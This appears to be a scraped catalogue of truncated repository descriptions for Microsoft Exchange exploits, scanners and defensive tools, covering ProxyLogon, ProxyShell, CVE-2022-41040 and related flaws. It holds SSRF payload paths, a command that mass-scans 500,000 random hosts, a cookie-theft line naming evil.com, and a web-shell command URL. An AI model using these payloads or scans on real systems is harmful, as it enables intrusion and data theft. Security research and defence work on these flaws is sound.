ProxyLogon

Disclaimer: All the information provided in this repository is for educational and research purposes only. The autor is no way responsible for any misuse of the information or code present here. To use this exploit in a safe pre-configured environment check out...

CVE-2022-41040

CVE-2022-41040 Microsoft Exchange vulnerable to server-side request forgery Payload : /autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL /autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and w...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server Poc The patch:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

Microsoft_Exchange_Server_SSRF_CVE-2021-26855

MicrosoftExchangeServerSSRFCVE-2021-26855 zoomeye dork：app:"Microsoft Exchange Server" Using the script MicrosoftExchangeServerSSRFCVE-2021-26855.py written with Seebug toolkit and pocsuite3, to probe data from the past year: 成功率约为：1500 / 5000 = 30%...

CVE-2021-34473-NMAP-SCANNER

CVE-2021-34473-NMAP-SCANNER A massive scanner for CVE-2021-34473 Microsoft Exchange Windows Vulnerability Commands root@kitploit: nmap -iR 500000 -n -p 443 --script cve202134473.nse scan500k.txt nmap website.com -n -p 443 --script cve202134473.nse Example root@kitploit: Starting Nmap 7.92...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...

Exchange_IOC_Hunter

ExchangeIOCHunter Description: Hunt for IOCs in IIS Logs - CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 Artefacts Supported: C2 IP Addresses used for scanning and exploitation File Names observed in exploitation attempts Remote Code Execution RCE Usage: root@kitploit: powershell...

ProxyVulns

ProxyVulns ProxyLogon Usage: python3 26855.py 1.1.1.1 ProxyOracle root@kitploit: Once a victim clicks this link, evil.com will receive the cookies...

ecp_slap

ecpslap This proof-of-concept for CVE-2020-0688 includes functions for the scanning and exploitation of a vulnerable on-prem Exchange instance. Usage scan - provide credentials and target information to obtain cookies required for exploitation and saves them to 'cookies.txt'. Also checks for...

CTT-Exchange-RCE-v1.0---Microsoft-Exchange-Exploit-CVSS-10.0-CRITICAL-CVE-2021-26855-CVE-2021-27065

CTT-Exchange-RCE-v1.0---Microsoft-Exchange-Exploit-CVSS-10.0-CRITICAL-CVE-2021-26855-CVE-2021-27065 CTT-enhanced version of the Microsoft Exchange Server SSRF to RCE exploit ProxyShell/ProxyLogon, another CVSS 10.0 critical vulnerability that affected hundreds of thousands of organizations...

CVE-2022-41040

CVE-2022-41040 CVE-2022-41040 nuclei template Unverified! Usage root@kitploit: git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml root@kitploit: GET...

ExchangeSmash

proxylogon my exploit for the proxylogon chain Microsoft Exchange Server - CVE-2021-26855 Run: the exploit uses Impacket package, to install it run this: root@kitploit: user@host:$ python3 -m pip install impacket then clone the exploit repo, and enter the exploit directory: root@kitploit:...

Exchange2domain

Exchange2domain Herramientas todo en uno de privexchange. Solo necesitas abrir el puerto del servidor web, por lo que no se requieren privilegios elevados. ¡Gran artículo! Abusando de Exchange: una sola llamada a la API te separa de Domain Admin. Requisitos Estas herramientas requieren impacket...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC CVE-2021-26855 This is script was originaly made by celesian to exploit this CVE. Then i updated it to exploit an exchange server vulnerable to SSRF but it got a Shell exploiting the EWS feature, because a client company patched it's exchange server...

Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-

Triage: CVE-2021-26855 ProxyLogon - Microsoft Exchange For this lab, the goal was to practice triaging a well-known real-world vulnerability the way a security team might: reading the CVE details, understanding the CVSS score, and reasoning through how risky it actually is depending on the...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary Cross Site Request Forgery Elevation of Privilege Vulnerability This is a Proof of Concept for CVE-2021-24085. 1. poc.py downloads the targets cert file with private key inside 2. YellowCanary generates the msExchEcpCanary csrf token for a specific user...

CVE-2022-41082

CVE-2022-41082 This repository contains a proof-of-concept PoC tool for exploiting the OWASSRF vulnerability CVE-2022-41082 in Microsoft Exchange servers. The exploit allows attackers to execute arbitrary commands on the server, potentially compromising the system. Overview The tool leverages an...

CVE-2020-0688

Identify Exchange Servers vulnerable to CVE-2020-0688 CVE-2020-0688 is a critical vulnerability in Microsoft Exchange due to use of static keys. Although exploitation requires valid credentials at an email user level and the risk of mass-exploitation is low, this vulnerability might be very usefu...

CVE-2020-17144

weaponized tool for CVE-2020-17144Microsoft Exchange 2010 MRM.AutoTag.Model unsafe deserialize vulnerability build install .net framework 3.5 first, then make. usage root@kitploit: CVE-2020-17144 After exploit, access http://target/ews/soap/?pass=whoami to get command execution. And you can also...